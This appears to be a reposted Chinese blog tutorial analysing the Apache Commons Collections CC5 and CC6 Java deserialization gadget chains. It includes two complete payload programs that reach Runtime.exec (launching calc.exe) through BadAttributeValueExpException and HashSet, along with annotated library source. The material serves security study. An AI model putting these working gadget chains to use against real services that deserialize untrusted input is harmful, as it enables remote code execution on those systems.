11-java安全——java反序列化CC5和CC6链分析

Posted songly_

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了11-java安全——java反序列化CC5和CC6链分析相关的知识,希望对你有一定的参考价值。

CC5链分析

复习LazyMap利用链: https://blog.csdn.net/qq_35733751/article/details/118462281

在学习CC2链时我们知道由于JDK8版本改写了AnnotationInvocationHandler类的readobject方法,CC1链中LazyMap的get方法已经无法使用,CC5链使用了BadAttributeValueExpException类来代替AnnotationInvocationHandler类,并且还用了一个新的类来调用LazyMap的get方法。

CC5链的payload代码:

package com.cc;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class CC5Test {
    public static void main(String[] args) throws Exception {

        //构造核心利用代码
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };

        //构造利用链
        ChainedTransformer chain = new ChainedTransformer(transformers);

        //触发连
        HashMap hashMap = new HashMap();
        LazyMap lazymap = (LazyMap) LazyMap.decorate(hashMap, chain);
        //将lazyMap传给TiedMapEntry
        TiedMapEntry entry = new TiedMapEntry(lazymap, "test");
        //反射调用TiedMapEntry
        BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
        Field val = bad.getClass().getDeclaredField("val");
        val.setAccessible(true);
        val.set(bad,entry);

        //序列化  -->  反序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(bad);
        oos.close();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }
}

CC5链构造核心利用代码和利用链还是和CC1链一样没啥区别,我们主要关注后面是如何触发利用链。在构造触发链时还是用到了LazyMap类,但不同的是使用了一个新的类TiedMapEntry来调用LazyMap链,然后将TiedMapEntry类又传给了BadAttributeValueExpException类的val属性。

先来看TiedMapEntry类,该类实现了Serializable接口,在getValue方法并通过map属性调用了一个get方法

    public Object getValue() {
        return map.get(key);
    }

map属性是通过TiedMapEntry类的构造来赋值的(map属性是可控的),可以把LazyMap当做TiedMapEntry类的构造参数。

public TiedMapEntry(Map map, Object key) {
    super();
    this.map = map;
    this.key = key;
}

这样就可以让TiedMapEntry类map属性来间接调用LazyMap类的get方法,从而触发之前构造的利用链了。

而getValue方法是在toString方法中被调用

    public String toString() {
        return getKey() + "=" + getValue();
    }

现在我们要思考的是如何调用TiedMapEntry类的toString?于是接下来需要找到一个类必须满足以下条件:

  1. 重写readObject方法
  2. 并在readObject方法中可以调用toString方法(并且调用toString方法的对象是可控的)

于是接下来我们找到一个BadAttributeValueExpException类:

public class BadAttributeValueExpException extends Exception   {
    /* Serial version */
    private static final long serialVersionUID = -3105272988410493376L;

    /**
     * @serial A string representation of the attribute that originated this exception.
     * for example, the string value can be the return of {@code attribute.toString()}
     */
    private Object val;

    /**
     * Constructs a BadAttributeValueExpException using the specified Object to
     * create the toString() value.
     *
     * @param val the inappropriate value.
     */
    public BadAttributeValueExpException (Object val) {
        this.val = val == null ? null : val.toString();
    }


    /**
     * Returns the string representing the object.
     */
    public String toString()  {
        return "BadAttributeValueException: " + val;
    }

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    //从流中读取字段
        ObjectInputStream.GetField gf = ois.readFields();
        //从流中读取val属性
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
              //相当于属性val调用toString方法
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }
 }

readFields方法表示从输入流中读取字段,然后gf对象调用了get方法读取val属性,然后又调用了toString方法,val的内容同样是可控的,因此这里可以通过反射将val属性设置为TiedMapEntry类,这样就可以调用TiedMapEntry类的toString方法了,这样就可以触发利用链和核心利用代码。

CC5利用链流程:

 

CC6链分析

TiedMapEntry类中有两个方法都调用了getValue方法,CC5链是通过toString方法调用getValue方法从而触发LazyMap,而在CC6链中则是通过hashCode方法来调用getValue方法。

    public Object getValue() {
        return map.get(key);
    }

     public String toString() {
        return getKey() + "=" + getValue();
     }


     public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
     }

我们要找哪些地方调用了hashCode方法,然后再hashMap中找到一个hash方法,并且在该方法中调用了一个hashCode方法,参数k是通过put方法传递的,分析参数key是否可控。

    final int hash(Object k) {
        int h = hashSeed;
        if (0 != h && k instanceof String) {
            return sun.misc.Hashing.stringHash32((String) k);
        }
        //调用hashcode方法
        h ^= k.hashCode();

        // This function ensures that hashCodes that differ only by
        // constant multiples at each bit position have a bounded
        // number of collisions (approximately 8 at default load factor).
        h ^= (h >>> 20) ^ (h >>> 12);
        return h ^ (h >>> 7) ^ (h >>> 4);
    }

而hash方法是在put方法中被调用,HashMap每次调用put方法都会调用hash方法计算hash值。

     public V put(K key, V value) {
        if (table == EMPTY_TABLE) {
            inflateTable(threshold);
        }
        if (key == null)
            return putForNullKey(value);
        //计算hash值
        //调用hash方法
        int hash = hash(key);
        int i = indexFor(hash, table.length);
        for (Entry<K,V> e = table[i]; e != null; e = e.next) {
            Object k;
            if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
                V oldValue = e.value;
                e.value = value;
                e.recordAccess(this);
                return oldValue;
            }
        }

        modCount++;
        addEntry(hash, key, value, i);
        return null;
    }

利用链构造完了,接下来需要找到一个触发利用链的地方(重写了readObject方法同时又调用了put方法的地方),正好有一个HashSet集合满足条件,hashSet重写了writeObject和readObject方法实现自定义序列化与反序列化

    //序列化
	private void writeObject(java.io.ObjectOutputStream s)
        throws java.io.IOException {
        // Write out any hidden serialization magic
        s.defaultWriteObject();

        // Write out HashMap capacity and load factor
        s.writeInt(map.capacity());
        s.writeFloat(map.loadFactor());

        // Write out size
        s.writeInt(map.size());

        //将元素依次序列化
        for (E e : map.keySet())
            s.writeObject(e);
    }

    //反序列化
	private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
        // Read in any hidden serialization magic
        s.defaultReadObject();

        // Read in HashMap capacity and load factor and create backing HashMap
        int capacity = s.readInt();
        float loadFactor = s.readFloat();
        map = (((HashSet)this) instanceof LinkedHashSet ?
               new LinkedHashMap<E,Object>(capacity, loadFactor) :
               new HashMap<E,Object>(capacity, loadFactor));

        // Read in size
        int size = s.readInt();

        // Read in all elements in the proper order.
        for (int i=0; i<size; i++) {
            //依次将元素还原成java对象(反序列化)
            E e = (E) s.readObject();
            //将java对象传给put方法
            map.put(e, PRESENT);
        }
    }

writeObject方法中会将hashSet集合中的元素依次取出来序列化,readObject方法会判断当前HashSet对象是否为LinkedHashSet,如果不是则直接返回HashMap,接着从流中读取hashSet集合中的元素并还原成java对象,然后将java对象作为参数key传给put方法,自定义序列化和反序列化过程中的hashSet集合中的元素是可控的,如果在hashSet集合中添加TiedMapEntry对象元素,这样就能控制put方法中的key了。

分析hashSet集合add方法底层实现后发现add方法底层调用了map.put方法,并且在putVal方法内部将key传给了Node。

	final V putVal(int hash, K key, V value, boolean onlyIfAbsent,boolean evict) {
        Node<K,V>[] tab; Node<K,V> p; int n, i;
        if ((tab = table) == null || (n = tab.length) == 0)
            //resize方法会返回table属性的引用
            n = (tab = resize()).length;
        if ((p = tab[i = (n - 1) & hash]) == null)
            //将key传给Node
            tab[i] = newNode(hash, key, value, null);
        else {
            Node<K,V> e; K k;
            if (p.hash == hash &&
                ((k = p.key) == key || (key != null && key.equals(k))))
                e = p;
            else if (p instanceof TreeNode)
                e = ((TreeNode<K,V>)p).putTreeVal(this, tab, hash, key, value);
            else {
                for (int binCount = 0; ; ++binCount) {
                    if ((e = p.next) == null) {
                        p.next = newNode(hash, key, value, null);
                        if (binCount >= TREEIFY_THRESHOLD - 1) // -1 for 1st
                            treeifyBin(tab, hash);
                        break;
                    }
                    if (e.hash == hash &&
                        ((k = e.key) == key || (key != null && key.equals(k))))
                        break;
                    p = e;
                }
            }
            if (e != null) { // existing mapping for key
                V oldValue = e.value;
                if (!onlyIfAbsent || oldValue == null)
                    e.value = value;
                afterNodeAccess(e);
                return oldValue;
            }
        }
        ++modCount;
        if (++size > threshold)
            resize();
        afterNodeInsertion(evict);
        return null;
    }

Node创建了一个实例

    Node<K,V> newNode(int hash, K key, V value, Node<K,V> next) {
        return new Node<>(hash, key, value, next);
    }

然后将hashSet集合添加的元素给了Node对象的key属性

        Node(int hash, K key, V value, Node<K,V> next) {
            this.hash = hash;
            //将key赋值给key属性
            this.key = key;
            this.value = value;
            this.next = next;
        }

返回到putVal方法中,该方法会将Node对象(key/value键值对)赋给一个Node<K,V>[]类型的tab数组(tab实际上是由resize方法返回的table属性引用),也就是HashMap的table属性。

经过分析之后发现hashSet集合的add方法底层还是调用了map.put方法,控制put方法中的参数key的思路有两种:

方式一:往hashSet集合中直接添加TiedMapEntry对象。

方式二:是通过反射先从hashSet集合中获取map属性所指向的hashmap对象,然后再从hashmap中获取table属性中的Node对象,最后将Node对象中的key属性修改为TiedMapEntry对象。

 以上方式都可以构造利用链,在yseoserial工具CC6链中是使用第二种方式。

CC6链的payload代码:

package com.cc;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;

public class CC6Test1 {
    public static void main(String[] args) throws Exception {

         Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
        };

        ChainedTransformer chain = new ChainedTransformer(transformers);
        HashMap hashMap = new HashMap();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chain);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "foo");

        HashSet hashSet = new HashSet(1);
        hashSet.add("foo");
        //获取HashSet的map属性
        Field field = hashSet.getClass().getDeclaredField("map");
        field.setAccessible(true);
        //获取HashSet集合中的map属性的hashmap对象
        HashMap hashset_map = (HashMap)field.get(hashSet);

        //获取HashMap的table属性
        field = HashMap.class.getDeclaredField("table");
        field.setAccessible(true);
        //从hashmap对象中获取table属性的值(返回的是一个HashMap.Node类型的数组)
        Object[] array = (Object[]) field.get(hashset_map);
        Object node = array[0];
        if(node == null){
            node = array[1];
        }
        Field keyField = null;
        //获取HashMap.Node类中的key属性
        keyField = node.getClass().getDeclaredField("key");
        keyField.setAccessible(true);
        //然后将HashMap.Node类中的key属性设置为TiedMapEntry对象
        keyField.set(node, tiedMapEntry);

        //序列化  -->  反序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashSet);
        oos.close();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }
}

以上是关于11-java安全——java反序列化CC5和CC6链分析的主要内容,如果未能解决你的问题,请参考以下文章

11-java安全——java反序列化CC5和CC6链分析

[Java反序列化]CommonsCollections5利用链学习

[Java反序列化]CommonsCollections5利用链学习

10-java安全——java反序列化CC3和CC4链分析

10-java安全——java反序列化CC3和CC4链分析

12-java安全——java反序列化CC7链分析